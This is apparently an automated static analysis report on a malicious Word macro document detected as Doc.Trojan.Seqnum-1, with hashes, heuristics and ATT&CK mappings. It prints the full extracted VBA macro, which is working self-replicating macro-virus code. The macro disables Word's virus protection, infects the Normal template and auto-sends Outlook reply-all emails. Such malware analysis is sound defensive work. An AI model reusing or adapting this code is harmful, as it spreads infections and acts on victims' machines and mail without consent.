Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3e190d329c5b2e47…

MALICIOUS

Office (OLE)

34.5 KB Created: 2001-01-27 04:09:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: f985aa1dc6cd40b76448ef180c33823b SHA-1: c8a30652844a87315a8cb7601c1007d9da13ea8c SHA-256: 3e190d329c5b2e478b74af60a99a786399f3a2076cb20b25f39eb955992e4382
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a malicious VBA macro that is automatically executed via the Document_Open subroutine. This macro appears to be designed to obfuscate and then write a second-stage macro to disk, likely for execution. The ClamAV detection of 'Doc.Trojan.Seqnum-1' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Seqnum-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Seqnum-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3867 bytes
SHA-256: 7b6aaab02a7e51d106a7d73ad07754bfe1226ff5b67522edcc0ac5171841f745
Detection
ClamAV: Doc.Trojan.Seqnum-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
hnetCmd.Enabled = True
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
CHL = NTI1.Properties.Item("ConsecutiveHyphensLimit").Value
If CHL > 800 Then
If ((CHL / 1000 + (CHL / 10 Mod 100)) Mod 10) = ((CHL / 100 Mod 10) + CHL Mod 10) Then GoTo Caught
Else
seqNum = 8602
hnetPath = Application.Path
hnetName = hnetPath & "\" & CStr(seqNum) & ".bas"
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
ADCL = ADI1.CodeModule.CountOfLines
moduleName = ADI1.Name
Open hnetName For Output Lock Read Write As #1
firstLine = "Attribute VB_Name = " & """" & moduleName & """"
Print #1, firstLine
i = 1
Do While ADI1.CodeModule.Lines(i, 1) <> ""
thisLine = ADI1.CodeModule.Lines(i, 1)
If thisLine = "seqNum = " & CStr(seqNum) Then
    a = Int(seqNum / 1000): b = Int(seqNum / 100) Mod 10: c = Int(seqNum / 10) Mod 10: d = seqNum Mod 10
    e = (a + b) Mod 10: f = (b + c) Mod 10: g = (c + d) Mod 10: h = (d + a) Mod 10
    newSeq = e * 1000 + f * 100 + g * 10 + h
    Print #1, "seqNum = " & CStr(newSeq)
Else
    Print #1, thisLine
End If
i = i + 1
Loop
Close #1
NTI1.Properties.Item("ConsecutiveHyphensLimit").Value = seqNum
NTCL = NTI1.CodeModule.CountOfLines
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
NTI1.CodeModule.InsertLines 1, "Private Sub Document_Close()"
NTI1.CodeModule.InsertLines 2, "Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)"
NTI1.CodeModule.InsertLines 3, "ADCL = ADI1.CodeModule.CountOfLines"
NTI1.CodeModule.InsertLines 4, "If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL"
NTI1.CodeModule.InsertLines 5, "ADI1.CodeModule.AddFromFile (" & """" & hnetName & """" & ")"
NTI1.CodeModule.InsertLines 6, "ActiveDocument.SaveAs FileName:=ActiveDocument.FullName"
NTI1.CodeModule.InsertLines 7, "ActiveDocument.Saved = True"
NTI1.CodeModule.InsertLines 8, "End Sub"
End If
Caught:
Dim hnetDays(0 To 4, 0 To 1) As String
hnetDays(0, 0) = "0101": hnetDays(0, 1) = "Happy New Year!"
hnetDays(1, 0) = "0214": hnetDays(1, 1) = "Acutally... I love you."
hnetDays(2, 0) = "1203": hnetDays(2, 1) = "Happy Birthday, hnet!"
hnetDays(3, 0) = "1225": hnetDays(3, 1) = "Merry Christmas!"
Dim hnetApp, hnetMapiName, hnetMailItem, hnetDefInbox, hnetMailReply
Dim hnetContactCount, hnetInboxCount As Long
Set hnetApp = CreateObject("Outlook.Application")
Set hnetMapiName = hnetApp.GetNamespace("MAPI")
hnetMapiName.Logon "profile", "password"
Set hnetinspector = hnetApp.ActiveInspector
Set hnetMailItem = hnetinspector.CurrentItem
Set hnetMailReply = hnetMailItem.Actions("Reply to All").Execute
hnetMailReply.Body = "OK! I got it, thanks."
For i = 0 To 3
If Day(Now) = CInt(Right(hnetDays(i, 0), 2)) And Month(Now) = CInt(Left(hnetDays(i, 0), 2)) Then
hnetMailReply.Body = hnetMailReply.Body & Chr(13) & Chr(10) & hnetDays(i, 1)
Exit For
End If
Next i
If i = 2 Then age = (Year(Now) - 1998)
hnetMailReply.Body = hnetMailReply.Body & Chr(13) & Chr(10) & "Let's celebrating your " & age & " year(s) old birthday!"
hnetMailReply.Body = hnetMailReply.Body & Chr(13) & Chr(10) & Application.UserName
peep = ""
hnetMailReply.Send
hnetMapiName.Logoff
End Sub